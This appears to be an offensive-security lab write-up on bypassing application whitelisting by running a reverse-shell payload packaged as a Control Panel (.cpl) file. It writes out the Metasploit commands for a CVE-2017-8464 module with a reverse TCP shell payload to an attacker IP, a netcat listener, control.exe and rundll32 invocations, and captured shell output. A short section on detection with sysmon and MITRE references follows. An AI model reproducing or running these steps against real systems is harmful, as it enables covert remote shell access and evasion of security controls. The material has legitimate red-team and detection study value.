offensive security
Control Panel Item
Control Panel Item code execution - bypass application whitelisting.
Execution
Generating a simple x64 reverse shell in a .cpl format:
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msfconsole
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use windows/local/cve_2017_8464_lnk_lpe
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set payload windows/x64/shell_reverse_tcp
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set lhost 10.0.0.5
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exploit
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​
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[email protected]~# nc -lvp 4444
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listening on [any] 4444 ...
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We can see that the .cpl is simply a DLL with DllMain function exported:
A quick look at the dissasembly of the dll suggests that rundll32.exe will be spawned, a new thread will be created in suspended mode, which most likely will get injected with our shellcode and eventually resumed to execute that shellcode:
Invoking the shellcode via control.exe:
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control.exe .\FlashPlayerCPLApp.cpl
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# or
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rundll32.exe shell32.dll,Control_RunDLL file.cpl
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# or
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rundll32.exe shell32.dll,Control_RunDLLAsUser file.cpl
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Attacking machine receiving the reverse shell:
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10.0.0.2: inverse host lookup failed: Unknown host
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connect to [10.0.0.5] from (UNKNOWN) [10.0.0.2] 49346
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Microsoft Windows [Version 6.1.7601]
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Copyright (c) 2009 Microsoft Corporation. All rights reserved.
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Observations
Note how rundll32 spawns cmd.exe and establishes a connection back to the attacker - these are signs that should raise your suspicion when investingating a host for a compromise:
As always, sysmon logging can help in finding suspicious commandlines being executed in your environment:
Bonus - Create Shortcut With PowerShell
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$TargetFile = "$env:SystemRoot\System32\calc.exe"
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$ShortcutFile = "C:\experiments\cpl\calc.lnk"
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$WScriptShell = New-Object -ComObject WScript.Shell
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$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
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$Shortcut.TargetPath = $TargetFile
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$Shortcut.Save()
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References
Signed Binary Proxy Execution: Control Panel, Sub-technique T1218.002 - Enterprise | MITRE ATT&CK®
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1060/T1060.md
github.com
Last modified 3yr ago